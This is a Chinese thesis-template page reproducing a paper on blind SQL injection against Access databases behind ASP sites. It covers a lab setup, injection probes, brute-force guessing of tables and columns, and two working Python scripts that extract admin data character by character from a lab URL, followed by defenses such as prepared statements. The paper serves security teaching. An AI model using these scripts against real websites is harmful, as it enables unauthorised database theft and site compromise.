分类筛选
分类筛选:

数据库方面有关专科开题报告范文 和基于Access数据库的SQL注入攻击有关专科开题报告范文

版权:原创标记原创 主题:数据库范文 类别:毕业论文 2024-04-02

《基于Access数据库的SQL注入攻击》

本文是数据库类有关论文例文与Access和Access数据库和注入相关学士学位论文范文。

摘 要:基于Windows+Access+ASP 服务器的网络架构,因成本低廉和易于操作被广泛使用,这种架构极易因存在的安全漏洞和相关安全措施不严而受到各方面的攻击与入侵,最常见的攻击方式就是SQL 注入.通过SQL 注入攻击获取数据库数据,利用其数据可进行网站渗透.在此基础上,采用逐字猜解法注入,利用python 脚本编写获取数据库信息并进行脚本优化,从而研究Access 数据库SQL 注入方式,给出SQL 注入攻击的防范方法.

关键词:网络安全;Access 数据库;SQL 注入;攻防

0 引言

随着互联网时代的发展,人们在享受互联网带来便捷的同时,安全问题也日趋严峻.Windows+Access+ASP 是常见的网络架构类型之一,常用于构建动态网站.部分网站由于开发者安全意识较差,常受到不同种类的Web 攻击,SQL[1]注入是其中一种较为严重的攻击方式.攻击者利用开发人员对传入参数与SQL 语句的不正确拼合,将恶意的SQL 语句注入到后台数据库来实现其操作,通过该攻击可获取用户敏感数据信息,在服务器权限设置不当的情况下,可导致任意文件的上传及下载,进而获取网站Webshell,最终导致服务器沦陷.本文通过搭建基于Access 数据库的Web 测试环境,编写SQL 注入python 脚本,实现了对数据库数据内容的获取,并由此总结了Access 数据库SQL 注入防范方法.

1 前期准备

1.1 环境搭建

本地测试环境采用Window2003+ 超级小旋风AspWebServer 进行环境搭建,AspWebServer 参数配置如下:

[localhost:sql]

hostLanguage等于VBScript

hostUrl等于192.168.208.139

listenPort等于8003

rootPath等于\wwwroot\sql

defaultFiles等于index.asp,default.asp,index.html,default.html

第1 行为配置名称,第2 行为使用的脚本语言,第3 行为本机的IP 地址,第4 行为监听的本地端口,第5 行为网站的根路径,第6 行为默认的网站页面.测试页面显示如图1 所示.

1.2 SQL 注入判断

在url 传参部分加上了’,发现页面显示如图2 所示.

页面显示了报错信息,由Microsoft Access Driver 可知,数据库类型为Access 数据库,查询表达式为’id等于1513’’,多出一个单引号,该单引号与前一个单引号闭合,多出的’找不到与之成对的单引号,导致数据库报错,接下来进行注入类型的判断.

构造and 1等于1 和and 1等于2 分别作为id 参数值传入,如果页面发生改变,则证明存在SQL 注入,经测试页面发生变化,语

句并未使用单引号进行闭合,所以注入类型为int 型注入.

1.3 SQL 注入原理

Access 只存在1 个数据库,所以与常规的SQL 注入方式不同,可通过以下2 种方式进行查询,第1 种为联合查询法,第2 种为逐字猜解法.Access 数据库不存在系统表和系统库,对于数据库中的内容,只能通过暴力猜解的方式进行.

暴力猜解的方式如下:

① 进行表的判断:通过在闭合后的语句中加入and exists(select * from 表名),表名部分可通过本地字典读取,如果页面返回无变化,则证明该表存在于数据库中.

② 进行表中字段的判断:通过构造and exists (select 列名from 表名),表名为上述语句查询的结果,列名需要通过字典文

件暴力猜解的值.通过测试页面的返回结果,如果页面无变化,则证明该字段存在于该表中.

③ 进行数据部分的判断:第一步判断数据部分的长度,通

过构造and (select top 1 len(列名)from 表名)等于 长度,列名和表名可通过上述过程得出,使用循环语句,直到页面返回正常,此时的长度为数据内容长度.第二步通过构造and (select top 1asc(mid(列名,位数,1)) from 表名)等于ascll 码,页面返回正常时,该ascll 值为该数据对应位数的值.

2 Access 逐字猜解法注入2.1 查询数据信息

查询数据信息的过程如下:

def queryDump(table,column,url,length等于60):

len 等于 0

old 等于 requests.get(url)

old.encoding 等于 ´gb2312´

# 确认长度

for i in range(length):

payload 等于 ´ and (select top 1 len (% s) from % s) 等于 % d´ %

(column,table,i)

payload 等于 url + payload

print(payload)

new等于requests.get(payload)

new.encoding 等于 ´gb2312´

if new.text 等于等于 old.text:

len 等于 i

print(len)

break

# 判定每位的内容

dump 等于 ´´

for j in range(len):

for k in range(33,127): ## ascll 可见字符范围

payload 等于 ´and (select top 1 asc(mid(%s,%d,1)) from %s)等于%d´

% (column,j+1,table,k)

payload 等于 url + payload

new 等于requests.get(payload)

new.encoding 等于 ´gb2312´

if new.text 等于等于 old.text:

dump+等于chr(k)

print(dump)

break

queryDump (´admin´,´admin´,´http://192.168.199.73:

8003/Production/PRODUCT_DETAIL.asp?id等于1513´,40)脚本首先进行了一次正常请求,并将请求结果保存在old变量中,然后构造查询判断字段长度,通过构造and (select top 1len(column) from table)等于length´ 循环遍历,直到前后返回结果相同,此时得到字段数据部分长度,在知道字段长度的基础上,构造´and(select top 1 asc(mid(字段,数据位置,1))from 表名)等于ascll 码´,确定该字段数据内容的每一位所对应的ascll 码,并输出其相应的字符,运行结果如图3 所示.

2.2 逐字猜解法脚本优化

逐字猜解法脚本优化的过程如下:

def queryDumpx(table,column,url,length等于60):

len等于0

old等于 requests.get(url)

old.encoding 等于 ´gb2312´

# 确认长度

start 等于0

end 等于 length

while(start<end):

m 等于 (start+end)//2

if(end - start 等于等于 1):

break

payload 等于 ´ and (select top 1 len (% s) from % s) < % d´ %

(column, table, m)

payload 等于 url + payload

print(payload)

new等于requests.get(payload)

new.encoding 等于 ´gb2312´

if new.text 等于等于 old.text:

end 等于 m

else:

start 等于 m

len 等于 m

print(len)

# 判定每位的内容

dump 等于 ´´

for j in range(len):

# for k in range(33,127): ## ascll 可见字符范围

s等于33

t等于127

while(s<t):

m 等于 (s+t)//2

# print(m)

if(t-s等于等于1): ### 找到参数

break

payload 等于 ´and (select top 1 asc(mid(%s,%d,1)) from %s)<%d´

% (column,j+1,table,m)

payload 等于 url + payload

new 等于requests.get(payload)

new.encoding 等于 ´gb2312´

if new.text 等于等于 old.text:

t等于m

else:

s等于m

dump+等于chr(m)

print(dump)

queryDumpx (´admin´,´admin´,´http://192.168.199.73:

8003/Production/PRODUCT_DETAIL.asp?id等于1513´,40)3 Access 数据库注入防范

3.1 Access 数据库权限设置

Access 属于一种关系式数据库,可通过设置数据库权限来提高其安全性.对所有操作尽可能使用所需的最低权限,不同的Access 数据库对象具有不同的权限集合,Access 的数据库对象包括表、查询、表单、报表、宏和模块6 种,必须分别予以授权[2].在设计权限过程中,不需要给予终端用户对数据库对象的删除及修改等操作权限.通过对终端用户进行降权处理,可以防止SQL 语句中嵌入的恶意代码无法正常执行.

3.2 采用预编译语句集

防御SQL 注入的最佳方式就是使用预编译语句,预编译后的SQL 语句的语义不会发生改变.初始运行程序和操作数据库时,会对SQL 语句进行分析、优化与编译,需执行的计划被缓存下来并允许数据库以参数化的形式进行查询[3].由此将输入的数据库语句中使用到的参数进行设置,若输入了错误的或不同类型的参数值,在编写到数据库语句中导致编译不通过,这样也就有效地防止了SQL 注入.

3.3 对用户输入进行限定

用户输入的内容不直接拼合到SQL 语句中,可以利用存储过程中[4]对用户的输入进行验证与过滤,存储过程的语句可在创建时就被编译,但只会运行创建时所定义的查询语句的语法,用户输入并不参与语法构造,故无法达到执行SQL 语句,还可通过对用户输入中存在的内容进行过滤.但这种方式并不能很好地防范SQL 注入攻击,攻击者总是能找到新的攻击字符串,绕过各种过滤检查,而且这种防御机制亦取决于开发者编写验证代码与确定其使用系统环境的能力[5].

3.4 对敏感信息加密

尽管关于SQL 注入的防范技术不断发展,仍无法完全规避攻击者进行的渗透与攻击.作为网站管理人员,应对用户敏感信息进行高强度加密处理,常规算法有DES 及其变形Triple DES、GDES、New DES 等[6].即便加密后的内容被获取,攻击者也无法对应的数据信息.

4 结束语

通过对Access 数据库SQL 注入方法之一的逐字猜解法进行了具体研究,采用python 语言实现了对数据库信息的自动化获取,可调用上述脚本获取指定数据内容.该测试证明了SQL 注入的危害性,并针对于Access 数据库SQL 注入攻击,总结出几种安全预防手段,运用这些手段能够有效增强ASP+Access+IIS 网络架构的安全性.

数据库论文参考资料:

期刊全文数据库

国外文献数据库

论文数据库有哪些

中文期刊数据库

中国科技期刊数据库

学术期刊数据库

评论,本文是大学硕士与数据库本科数据库毕业论文开题报告范文和相关优秀学术职称论文参考文献资料,关于免费教你怎么写Access和Access数据库和注入方面论文范文。

和你相关的